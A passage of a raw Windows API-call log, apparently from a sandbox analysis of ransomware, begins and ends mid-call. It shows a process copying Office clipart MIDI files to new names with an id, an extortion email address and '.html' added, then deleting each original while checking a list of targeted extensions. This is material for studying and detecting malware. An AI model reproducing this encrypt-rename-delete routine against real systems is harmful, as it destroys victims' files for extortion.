dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.948] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.949] GetLastError () returned 0x0 [0270.949] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x18bb, lpOverlapped=0x0) returned 1 [0270.950] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0270.951] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.951] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xea, lpOverlapped=0x0) returned 1 [0270.951] SetEndOfFile (hFile=0x37c) returned 1 [0270.951] CloseHandle (hObject=0x37c) returned 1 [0270.951] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.951] SetEndOfFile (hFile=0x380) returned 1 [0271.262] CloseHandle (hObject=0x380) returned 1 [0271.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0271.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.369] lstrlenW (lpString=".doc") returned 4 [0271.369] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.369] lstrlenW (lpString=".docx") returned 5 [0271.369] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.369] lstrlenW (lpString=".pdf") returned 4 [0271.369] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.370] lstrlenW (lpString=".xls") returned 4 [0271.370] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.370] lstrlenW (lpString=".xlsx") returned 5 [0271.370] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.370] lstrlenW (lpString=".ppt") returned 4 [0271.370] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.370] lstrlenW (lpString=".zip") returned 4 [0271.370] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.370] lstrlenW (lpString=".rar") returned 4 [0271.370] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.370] lstrlenW (lpString=".bz2") returned 4 [0271.370] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.370] lstrlenW (lpString=".7z") returned 3 [0271.370] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.370] lstrlenW (lpString=".dbf") returned 4 [0271.370] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.370] lstrlenW (lpString=".1cd") returned 4 [0271.370] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.370] lstrlenW (lpString=".jpg") returned 4 [0271.370] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.370] lstrlenW (lpString=".doc") returned 4 [0271.370] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.370] lstrlenW (lpString=".docx") returned 5 [0271.370] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.370] lstrlenW (lpString=".pdf") returned 4 [0271.371] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.371] lstrlenW (lpString=".xls") returned 4 [0271.371] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.371] lstrlenW (lpString=".xlsx") returned 5 [0271.371] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.371] lstrlenW (lpString=".ppt") returned 4 [0271.371] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.371] lstrlenW (lpString=".zip") returned 4 [0271.371] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.371] lstrlenW (lpString=".rar") returned 4 [0271.371] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.371] lstrlenW (lpString=".bz2") returned 4 [0271.371] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.371] lstrlenW (lpString=".7z") returned 3 [0271.371] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.371] lstrlenW (lpString=".dbf") returned 4 [0271.371] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.371] lstrlenW (lpString=".1cd") returned 4 [0271.371] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0271.372] lstrlenW (lpString=".jpg") returned 4 [0271.372] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.372] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.372] lstrlenW (lpString="HTECH_01.MID") returned 12 [0271.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0271.372] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=7178) returned 1 [0271.372] CloseHandle (hObject=0x2ec) returned 1 [0271.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0271.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0271.373] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.373] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.373] GetLastError () returned 0x0 [0271.373] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0271.381] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0271.382] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.382] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.382] SetEndOfFile (hFile=0x37c) returned 1 [0271.382] CloseHandle (hObject=0x37c) returned 1 [0271.382] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.382] SetEndOfFile (hFile=0x2ec) returned 1 [0271.384] CloseHandle (hObject=0x2ec) returned 1 [0271.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0271.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.384] lstrlenW (lpString=".doc") returned 4 [0271.385] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.385] lstrlenW (lpString=".docx") returned 5 [0271.385] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.385] lstrlenW (lpString=".pdf") returned 4 [0271.385] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.385] lstrlenW (lpString=".xls") returned 4 [0271.385] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.385] lstrlenW (lpString=".xlsx") returned 5 [0271.385] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.385] lstrlenW (lpString=".ppt") returned 4 [0271.385] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.385] lstrlenW (lpString=".zip") returned 4 [0271.385] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.385] lstrlenW (lpString=".rar") returned 4 [0271.385] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.385] lstrlenW (lpString=".bz2") returned 4 [0271.385] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.385] lstrlenW (lpString=".7z") returned 3 [0271.385] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.385] lstrlenW (lpString=".dbf") returned 4 [0271.385] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.385] lstrlenW (lpString=".1cd") returned 4 [0271.385] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.385] lstrlenW (lpString=".jpg") returned 4 [0271.385] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.386] lstrlenW (lpString=".doc") returned 4 [0271.386] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.386] lstrlenW (lpString=".docx") returned 5 [0271.386] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.386] lstrlenW (lpString=".pdf") returned 4 [0271.386] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.386] lstrlenW (lpString=".xls") returned 4 [0271.386] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.386] lstrlenW (lpString=".xlsx") returned 5 [0271.386] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.386] lstrlenW (lpString=".ppt") returned 4 [0271.386] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.386] lstrlenW (lpString=".zip") returned 4 [0271.386] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.386] lstrlenW (lpString=".rar") returned 4 [0271.386] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.386] lstrlenW (lpString=".bz2") returned 4 [0271.386] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.386] lstrlenW (lpString=".7z") returned 3 [0271.386] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.386] lstrlenW (lpString=".dbf") returned 4 [0271.386] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.386] lstrlenW (lpString=".1cd") returned 4 [0271.386] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0271.386] lstrlenW (lpString=".jpg") returned 4 [0271.386] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.387] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.387] lstrlenW (lpString="JAVA_01.MID") returned 11 [0271.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0271.388] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=9797) returned 1 [0271.388] CloseHandle (hObject=0x2ec) returned 1 [0271.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0271.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0271.388] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.388] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.388] GetLastError () returned 0x0 [0271.389] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x2645, lpOverlapped=0x0) returned 1 [0271.390] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x2650, lpOverlapped=0x0) returned 1 [0271.391] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.391] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xea, lpOverlapped=0x0) returned 1 [0271.391] SetEndOfFile (hFile=0x37c) returned 1 [0271.391] CloseHandle (hObject=0x37c) returned 1 [0271.392] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.392] SetEndOfFile (hFile=0x2ec) returned 1 [0271.394] CloseHandle (hObject=0x2ec) returned 1 [0271.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 1 [0271.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.394] lstrlenW (lpString=".doc") returned 4 [0271.394] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.394] lstrlenW (lpString=".docx") returned 5 [0271.394] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.394] lstrlenW (lpString=".pdf") returned 4 [0271.394] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.394] lstrlenW (lpString=".xls") returned 4 [0271.394] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.394] lstrlenW (lpString=".xlsx") returned 5 [0271.394] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.395] lstrlenW (lpString=".ppt") returned 4 [0271.395] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.395] lstrlenW (lpString=".zip") returned 4 [0271.395] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.395] lstrlenW (lpString=".rar") returned 4 [0271.395] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.395] lstrlenW (lpString=".bz2") returned 4 [0271.395] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.395] lstrlenW (lpString=".7z") returned 3 [0271.395] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.395] lstrlenW (lpString=".dbf") returned 4 [0271.395] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.395] lstrlenW (lpString=".1cd") returned 4 [0271.395] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.395] lstrlenW (lpString=".jpg") returned 4 [0271.395] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.395] lstrlenW (lpString=".doc") returned 4 [0271.395] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.395] lstrlenW (lpString=".docx") returned 5 [0271.395] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.395] lstrlenW (lpString=".pdf") returned 4 [0271.395] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.395] lstrlenW (lpString=".xls") returned 4 [0271.395] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.395] lstrlenW (lpString=".xlsx") returned 5 [0271.396] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.396] lstrlenW (lpString=".ppt") returned 4 [0271.396] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.396] lstrlenW (lpString=".zip") returned 4 [0271.396] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.396] lstrlenW (lpString=".rar") returned 4 [0271.396] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.396] lstrlenW (lpString=".bz2") returned 4 [0271.396] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.396] lstrlenW (lpString=".7z") returned 3 [0271.396] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.396] lstrlenW (lpString=".dbf") returned 4 [0271.396] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.396] lstrlenW (lpString=".1cd") returned 4 [0271.396] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0271.396] lstrlenW (lpString=".jpg") returned 4 [0271.396] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.396] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.396] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0271.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0271.397] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=5843) returned 1 [0271.397] CloseHandle (hObject=0x2ec) returned 1 [0271.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0271.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0271.397] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.397] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.400] GetLastError () returned 0x0 [0271.400] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x16d3, lpOverlapped=0x0) returned 1 [0271.402] WriteFile (in: hFile=0x37c, 